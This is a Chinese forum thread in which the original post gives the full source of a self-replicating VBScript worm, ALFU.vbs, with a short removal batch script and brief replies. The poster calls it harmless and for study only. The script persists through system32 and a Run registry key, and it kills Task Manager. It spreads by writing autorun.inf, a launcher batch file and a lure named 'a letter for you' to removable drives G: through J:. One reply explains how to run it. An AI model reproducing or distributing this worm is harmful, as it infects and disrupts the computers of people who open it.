找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 7476|回復: 4
上一主題 下一主題
收起左側

能自我復制的腳本病毒

[復制鏈接]
跳轉到指定樓層
樓主
ID:127496 發(fā)表于 2016-6-21 01:09 | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式



這個“病毒”沒有什么危害,只是它會自我復制,除了占用4KB的磁盤空間以外基本上啥也不干,也只靠U盤傳播,是一個可以拿來做研究學習的腳本。不過只要是會傳染,就是病毒,因此,請不要把它拿去干壞事(估計這個“病毒”根本不能傳播,誰會那么蠢去點擊一個來歷不名的文件呢?再說了,不用殺軟,一條命令就可以輕松搞定),僅供技術研究參考之用途!

================================ALFU.vbs=========================================
on error resume next
dim i,x,vbsc,pan,bye,k
bye=0
k=0
set fs=createobject(chr(115)&"crip"&chr(116)&"ing"&chr(46)&chr(102)&"iles"&chr(121)&"ste"&chr(109)&chr(111)&"bj"&chr(101)&"ct")
set sh=createobject("w"&chr(115)&"cript.shell")
i=wscript.scriptfullname
set txt=fs.opentextfile(i)
vbsc=txt.readall
txt.close
if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then
set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)
text.write vbsc
text.close
end if
sh.run "c:\windows\system32\ALFU.vbs"
pan= fs.getdrivename(i)
if not pan="C:" then
set m=fs.getfile(i)
m.delete(true)
bye=1
set m=nothing
end if
do
wscript.sleep 1000
if sh.appactivate("Windows 任務管理器") then
wscript.sleep 100
sh.sendkeys "%{F4}"
end if
if fs.driveexists("G:") then
if not fs.fileexists("G:\給你的一封信.vbs") then
set bt=fs.createtextfile("G:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 給你的一封信.vbs"
bt.close
if fs.folderexists("G:\Autorun.inf") then
sh.run "ren G:\autorun.inf G:\aoturun.inf"
end if
set atc=fs.createtextfile("G:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("G:\給你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("H:") then
if not fs.fileexists("H:\給你的一封信.vbs") then
set bt=fs.createtextfile("H:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 給你的一封信.vbs"
bt.close
if fs.folderexists("H:\Autorun.inf") then
sh.run "ren H:\autorun.inf H:\aoturun.inf"
end if
set atc=fs.createtextfile("H:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("H:\給你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("I:") then
if not fs.fileexists("I:\給你的一封信.vbs") then
set bt=fs.createtextfile("I:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 給你的一封信.vbs"
bt.close
if fs.folderexists("I:\Autorun.inf") then
sh.run "ren I:\autorun.inf I:\aoturun.inf"
end if
set atc=fs.createtextfile("I:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("I:\給你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("J:") then
if not fs.fileexists("J:\給你的一封信.vbs") then
set bt=fs.createtextfile("J:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 給你的一封信.vbs"
bt.close
if fs.folderexists("J:\Autorun.inf") then
sh.run "ren J:\autorun.inf J:\aoturun.inf"
end if
set atc=fs.createtextfile("J:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("J:\給你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then
set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)
text.write vbsc
text.close
end if
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ALFU","c:\windows\system32\ALFU.vbs"
if bye=1 then
exit do
end if
k=k+1
loop
============================================End Script================================================




如果您不幸,既沒有安裝任何殺毒軟件,又一不小心點擊了這個文件,您可以建立一個批處理來解決:
@echo off

taskkill /f /im wscript.exe
del /f /q c:\windows\ALFU.vbs
echo msgbox "清除完成!",64,"提示">a.vbs%a.vbs
del a.vbs






分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏3 分享淘帖 頂 踩
回復

使用道具 舉報

沙發(fā)
ID:63317 發(fā)表于 2016-6-21 05:14 | 只看該作者
謝謝分享資料
回復

使用道具 舉報

板凳
ID:106476 發(fā)表于 2016-7-9 10:40 | 只看該作者
樓主您好,完全看不懂這是什么語言寫的,怎樣使用?
回復

使用道具 舉報

地板
ID:431997 發(fā)表于 2018-11-23 18:51 | 只看該作者
xuelanga000 發(fā)表于 2016-7-9 10:40
樓主您好,完全看不懂這是什么語言寫的,怎樣使用?

VB Script腳本,把以上文本復制到你的程序里,然后吧后綴名給改成.vbs或.vbe
回復

使用道具 舉報

5#
ID:700750 發(fā)表于 2020-3-1 17:43 | 只看該作者
我有個問題,我腳本bat自我復制一個的代碼{指包括腳本內bat代碼的};求大神幫助
回復

使用道具 舉報

6#
ID:288930 發(fā)表于 2020-3-5 10:06
vbs病毒,整人不償命!

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規(guī)則

手機版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術交流QQ群281945664

Powered by 單片機教程網

快速回復 返回頂部 返回列表